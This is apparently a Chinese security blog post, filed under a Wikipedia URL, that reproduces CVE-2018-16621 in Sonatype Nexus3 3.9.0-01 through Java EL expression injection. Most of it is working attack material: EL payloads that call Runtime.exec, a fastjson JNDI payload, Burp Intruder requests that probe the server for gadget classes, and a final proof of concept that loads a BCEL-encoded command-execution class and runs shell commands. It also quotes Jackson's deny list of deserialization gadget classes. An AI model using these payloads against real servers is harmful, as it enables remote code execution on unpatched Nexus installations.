https://zh.wikipedia.org/zh/%E7%BB%9F%E4%B8%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%AD%E8%A8%80
Java统一表达式语言(英語:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。Java规范制定者和Java Web领域技术专家小组制定了统一的表达式语言。JUEL最初包含在JSP 2.1规范JSR-245中,后来成为Java EE 7的一部分,改在JSR-341中定义。
1//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) 2${pageContext} 3 4//获取Web路径 5${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 6 7//文件头参数 8${header} 9 10//获取webRoot 11${applicationScope} 12 13//执行命令 14${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())} 15 16${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc')} 17 18${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
构造 远程 rce 有两种方式:
反射 invoke 调用 java.lang.Runtime exec
反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎
以下内容来源于 复现 nexus3:3.9.0-01 CVE-2018-16621 的过程
docker 一行启动 nexus3:3.9.0-01 环境
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.9.0-01
上面流传的 payload 其实并不能覆盖全部场景,事实上并不兼容 java el 2.1 的语法;(上古代码连payload 都跑不通)
查询资料的过程中找到一个7年前的问题,有且仅有一个回答。
No, it is not possible to use variable arguments in EL method expressions, let alone EL functions. Your best bet is to create multiple different named methods with a different amount of fixed arguments.
在复现 sonatype/nexus3:3.9.0-01 版本的 CVE-2018-16621 过程中,发现依赖的el 引擎 javax.el-api/2.2.5 代码中直接忽略了 m.isVarArgs() 情况下的参数构建,
导致可变参数方法不可传参 只能 method()
调用
1// repository/javax/el/javax.el-api/2.2.5/javax.el-api-2.2.5-sources.jar!/javax/el/BeanELResolver.java
2private Object invokeMethod(Method m, Object base, Object[] params) {
3
4 Class[] parameterTypes = m.getParameterTypes();
5 Object[] parameters = null;
6 if (parameterTypes.length > 0) {
7 ExpressionFactory exprFactory = getExpressionFactory();
8 if (m.isVarArgs()) {
9 // TODO
10 } else {
11 parameters = new Object[parameterTypes.length];
12 for (int i = 0; i < parameterTypes.length; i++) {
13 parameters[i] = exprFactory.coerceToType(params[i],
14 parameterTypes[i]);
15 }
16 }
17 }
18 try {
19 return m.invoke(base, parameters);
20 } catch (IllegalAccessException iae) {
21 throw new ELException(iae);
22 } catch (InvocationTargetException ite) {
23 throw new ELException(ite.getCause());
24 }
25 }
在当前 nexus3:3.9.0-01 javax.el-api/2.2.5 条件下
invoke 可变参数 invoke(Object obj, Object... args)
这里显然完全不可用
只看使用 newInstance()
无参构造出一个 类实例
尝试反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎
1{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"11","name":"1111","description":"1","privileges":[],"roles":["${''.class.forName('javax.script.ScriptEngineManager')}"]}],"type":"rpc","tid":19}
可惜报错找不到 class java.lang.ClassNotFoundException: javax.script.ScriptEngineManager not found by javax.el-api [93
目前两条路都断了。。。
首先目前el 2.1 表达式可以实现的功能:
仔细想想是不是有点像 java 反序列化的利用链,java 反序列 利用大多是通过创建一个类,在类的构造函数 setter getter 方法里做文章
比如 fastjson 的payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true}
这里就是创建了一个com.sun.rowset.JdbcRowSetImpl
的对象,依次调用 setDataSourceName
和 setAutoCommit
方法触发lookup jndi
,导致 rce
el 表达式除了只能无参构造类对象外, 能执行的方法可是比反序列更多,理论上大部分反序列的利用链都可以直接使用。
这里最初想直接调用 javax.naming.InitialContext lookup 利用 jndi 的 ,可惜也是 java.lang.ClassNotFoundException
现在寻找rce的路径就变成了,找到一个可用的恶意类,调用触发方法。
寻找 恶意类
jackson 代码里的恶意 class
(这里本来想找fastjson 的恶意利用链,可惜fastjson 代码没有明示黑名单,而且黑名单有些没有定位到具体的类,找起来有点麻烦,放弃)
1static { 2 Set<String> s = new HashSet<String>(); 3 // Courtesy of [https://github.com/kantega/notsoserial]: 4 // (and wrt [databind#1599]) 5 s.add("org.apache.commons.collections.functors.InvokerTransformer"); 6 s.add("org.apache.commons.collections.functors.InstantiateTransformer"); 7 s.add("org.apache.commons.collections4.functors.InvokerTransformer"); 8 s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); 9 s.add("org.codehaus.groovy.runtime.ConvertedClosure"); 10 s.add("org.codehaus.groovy.runtime.MethodClosure"); 11 s.add("org.springframework.beans.factory.ObjectFactory"); 12 s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); 13 s.add("org.apache.xalan.xsltc.trax.TemplatesImpl"); 14 // [databind#1680]: may or may not be problem, take no chance 15 s.add("com.sun.rowset.JdbcRowSetImpl"); 16 // [databind#1737]; JDK provided 17 s.add("java.util.logging.FileHandler"); 18 s.add("java.rmi.server.UnicastRemoteObject"); 19 // [databind#1737]; 3rd party 20//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855] 21 s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean"); 22 // [databind#2680] 23 s.add("org.springframework.aop.config.MethodLocatingFactoryBean"); 24 s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean"); 25 26// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931] 27// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" - 28 // [databind#1855]: more 3rd party 29 s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); 30 s.add("com.sun.org.apache.bcel.internal.util.ClassLoader"); 31 // [databind#1899]: more 3rd party 32 s.add("org.hibernate.jmx.StatisticsService"); 33 s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); 34 // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities 35 s.add("org.apache.ibatis.parsing.XPathParser"); 36 37 // [databind#2052]: Jodd-db, with jndi/ldap lookup 38 s.add("jodd.db.connection.DataSourceConnectionProvider"); 39 40 // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup 41 s.add("oracle.jdbc.connector.OracleManagedConnectionFactory"); 42 s.add("oracle.jdbc.rowset.OracleJDBCRowSet"); 43 44 // [databind#2097]: some 3rd party, one JDK-bundled 45 s.add("org.slf4j.ext.EventData"); 46 s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor"); 47 s.add("com.sun.deploy.security.ruleset.DRSHelper"); 48 s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl"); 49 50 // [databind#2186], [databind#2670]: yet more 3rd party gadgets 51 s.add("org.jboss.util.propertyeditor.DocumentEditor"); 52 s.add("org.apache.openjpa.ee.RegistryManagedRuntime"); 53 s.add("org.apache.openjpa.ee.JNDIManagedRuntime"); 54 s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition 55 s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo"); 56 57 // [databind#2326] (2.9.9) 58 s.add("com.mysql.cj.jdbc.admin.MiniAdmin"); 59 60 // [databind#2334]: logback-core (2.9.9.1) 61 s.add("ch.qos.logback.core.db.DriverManagerConnectionSource"); 62 63 // [databind#2341]: jdom/jdom2 (2.9.9.1) 64 s.add("org.jdom.transform.XSLTransformer"); 65 s.add("org.jdom2.transform.XSLTransformer"); 66 67 // [databind#2387], [databind#2460]: EHCache 68 s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup"); 69 s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup"); 70 71 // [databind#2389]: logback/jndi 72 s.add("ch.qos.logback.core.db.JNDIConnectionSource"); 73 74 // [databind#2410]: HikariCP/metricRegistry config 75 s.add("com.zaxxer.hikari.HikariConfig"); 76 // [databind#2449]: and sub-class thereof 77 s.add("com.zaxxer.hikari.HikariDataSource"); 78 79 // [databind#2420]: CXF/JAX-RS provider/XSLT 80 s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider"); 81 82 // [databind#2462]: commons-configuration / -2 83 s.add("org.apache.commons.configuration.JNDIConfiguration"); 84 s.add("org.apache.commons.configuration2.JNDIConfiguration"); 85 86 // [databind#2469]: xalan 87 s.add("org.apache.xalan.lib.sql.JNDIConnectionPool"); 88 // [databind#2704]: xalan2 89 s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool"); 90 91 // [databind#2478]: comons-dbcp, p6spy 92 s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource"); 93 s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource"); 94 s.add("com.p6spy.engine.spy.P6DataSource"); 95 96 // [databind#2498]: log4j-extras (1.2) 97 s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource"); 98 s.add("org.apache.log4j.receivers.db.JNDIConnectionSource"); 99 100 // [databind#2526]: some more ehcache 101 s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector"); 102 s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector"); 103 104 // [databind#2620]: xbean-reflect 105 s.add("org.apache.xbean.propertyeditor.JndiConverter"); 106 107 // [databind#2631]: shaded hikari-config 108 s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig"); 109 110 // [databind#2634]: ibatis-sqlmap, anteros-core 111 s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig"); 112 s.add("br.com.anteros.dbcp.AnterosDBCPConfig"); 113 114 // [databind#2642]: javax.swing (jdk) 115 s.add("javax.swing.JEditorPane"); 116 117 // [databind#2648], [databind#2653]: shiro-core 118 s.add("org.apache.shiro.realm.jndi.JndiRealmFactory"); 119 s.add("org.apache.shiro.jndi.JndiObjectFactory"); 120 121 // [databind#2658]: ignite-jta (, quartz-core) 122 s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup"); 123 s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory"); 124 s.add("org.quartz.utils.JNDIConnectionProvider"); 125 126 // [databind#2659]: aries.transaction.jms 127 s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory"); 128 s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory"); 129 130 // [databind#2660]: caucho-quercus 131 s.add("com.caucho.config.types.ResourceRef"); 132 133 // [databind#2662]: aoju/bus-proxy 134 s.add("org.aoju.bus.proxy.provider.RmiProvider"); 135 s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider"); 136 137 // [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms 138 139 s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core 140 s.add("org.apache.activemq.ActiveMQXAConnectionFactory"); 141 s.add("org.apache.activemq.spring.ActiveMQConnectionFactory"); 142 s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory"); 143 s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool 144 s.add("org.apache.activemq.pool.PooledConnectionFactory"); 145 s.add("org.apache.activemq.pool.XaPooledConnectionFactory"); 146 s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms 147 s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory"); 148 149 // [databind#2666]: apache/commons-jms 150 s.add("org.apache.commons.proxy.provider.remoting.RmiProvider"); 151 152 // [databind#2682]: commons-jelly 153 s.add("org.apache.commons.jelly.impl.Embedded"); 154 155 // [databind#2688]: apache/drill 156 s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool"); 157 158 // [databind#2698]: weblogic w/ oracle/aq-jms 159 // (note: dependency not available via Maven Central, but as part of 160 // weblogic installation, possibly fairly old version(s)) 161 s.add("oracle.jms.AQjmsQueueConnectionFactory"); 162 s.add("oracle.jms.AQjmsXATopicConnectionFactory"); 163 s.add("oracle.jms.AQjmsTopicConnectionFactory"); 164 s.add("oracle.jms.AQjmsXAQueueConnectionFactory"); 165 s.add("oracle.jms.AQjmsXAConnectionFactory"); 166 167 // [databind#2764]: org.jsecurity: 168 s.add("org.jsecurity.realm.jndi.JndiRealmFactory"); 169 170 // [databind#2798]: com.pastdev.httpcomponents: 171 s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration"); 172 173 DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); 174 }
判断目标环境可以找到的恶意class
burp intruder 爆破下 判断 class 在目标中是否存在
1{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"11","name":"1111","description":"1","privileges":[],"roles":["${''.class.forName('$burp intruder here$')}"]}],"type":"rpc","tid":19}
com.sun.org.apache.bcel.internal.util.ClassLoader
目标环境 nexus3:3.9.0-01 javax.el-api/2.2.5 可以找到恶意class com.sun.org.apache.bcel.internal.util.ClassLoader
jackson 的payload 是调用 ClassLoader 的 loadClass方法 加载编码后的恶意class 导致rce
这里用el 表达式表述就是
1${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$evalClass').newInstance()}
到这即完成了全部利用 加载恶意类,触发rce
最终 poc
eval.class
1
2import java.io.*;
3
4public class eval {
5 public eval() {
6
7 }
8
9 public String exec(String cmd) throws IOException {
10 StringBuilder stringBuilder = new StringBuilder();
11 BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
12 String line;
13 while((line = bufferedReader.readLine()) != null) {
14 stringBuilder.append(line).append("\n");
15 }
16 String res = stringBuilder.toString();
17 return res;
18 }
19 public static void main(String[] args) {
20 }
21}
加载 eval 类,调用exec 方法
1${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('ps')}
这里其实 com.sun.rowset.JdbcRowSetImpl
目标环境也可加载,但是 el 2.1 可能还有其他限制,实测中没法创建变量保存生成的对象,这里需要分别调用 setDataSourceName 和 setAutoCommit 就服务实现。